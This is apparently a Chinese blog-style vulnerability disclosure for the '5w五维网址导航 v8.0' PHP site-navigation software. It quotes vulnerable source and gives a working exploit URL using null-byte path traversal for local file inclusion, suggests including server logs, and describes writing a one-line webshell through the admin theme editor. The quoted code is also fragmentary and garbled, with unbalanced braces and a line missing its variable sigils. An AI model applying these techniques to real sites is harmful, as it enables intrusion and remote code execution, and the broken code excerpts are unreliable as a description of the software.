【Php】5w五维网址导航 v8.0 漏洞

**http://hi.baidu.com/micropoor**// upload\i\index.php
<?php
//略
$controller = !empty($_GET['c']) ? $_GET['c'] : 'index';
$action = !empty($_GET['a']) ? $_GET['a'] : 'index';

//cookie 自动登陆 并判断 uri

if (isset($_COOKIE['cUser']) && $_COOKIE['cUser']['userID'] != 0) { 
    $userID = GetCUserID(); 
    $domain = GetCUserDomain(); 
    $sql = 'SELECT * FROM members WHERE userID = "'.$userID.'"'; 
    $arrRow = $objC -> GetRow($sql); 
    //http://t.qq.com/MakeBug 
        }


}
}else if($domain == 'c' || $domain == 'a' || $domain == ''){
$domain = GetCUserDomain();
$params['controller'] = $controller;
$params['action'] = $action;
$params['domain'] = $domain;
}

//http://t.qq.com/MakeBug

$filePath = CONTROLLER_PATH . $classname.'.php';
//这怎么过?

利用方法:http://127.0.0.1/i/index.php?c=/../robots.txt%00

可以考虑包含日志等。 (鸡肋)

后台shell篇:<?php
// upload\admin\themedetail.php
//http://t.qq.com/MakeBug
if(isset($_POST['content'])){

$content = stripslashes(htmlspecialchars_decode($_POST['content'])); 
     
    $theme = $_POST['theme']; 
    $file = $_POST['file']; 
    if(!array_key_exists($file,$files))die('不存在此模板文件'); 
    if(!preg_match("/^\w+\/$/",$theme))die('模板路径异常'); 
    $path = TEMPLATES.'theme/'.$theme.$file; 
    if(is_file($path)){ 
        $rs = file_put_contents($path,$content); 
        if($rs) 
            flushHTML('模板修改成功!<br />'); 
        //http://t.qq.com/MakeBug  
 
    }

//http://t.qq.com/MakeBug
}else{
if($_GET['theme']){
theme = _GET['theme'];
}else{
$theme = THEME_PATH;
}

$path = TEMPLATES.'theme/'.$theme.$_GET['file']; 
if(is_file($path)){ 
    $content = htmlspecialchars(getContent($path)); 
    $objS -&gt; assign("content",$content); 
    $objS -&gt; assign("theme",$theme); 
    $objS -&gt; assign("file",$_GET['file']); 
    $objS -&gt; display("admin/themedetail.tpl"); 
} 


} 

}
//利用方法:直接编辑写入一句话。注入key的问题。

赞啦 嘿嘿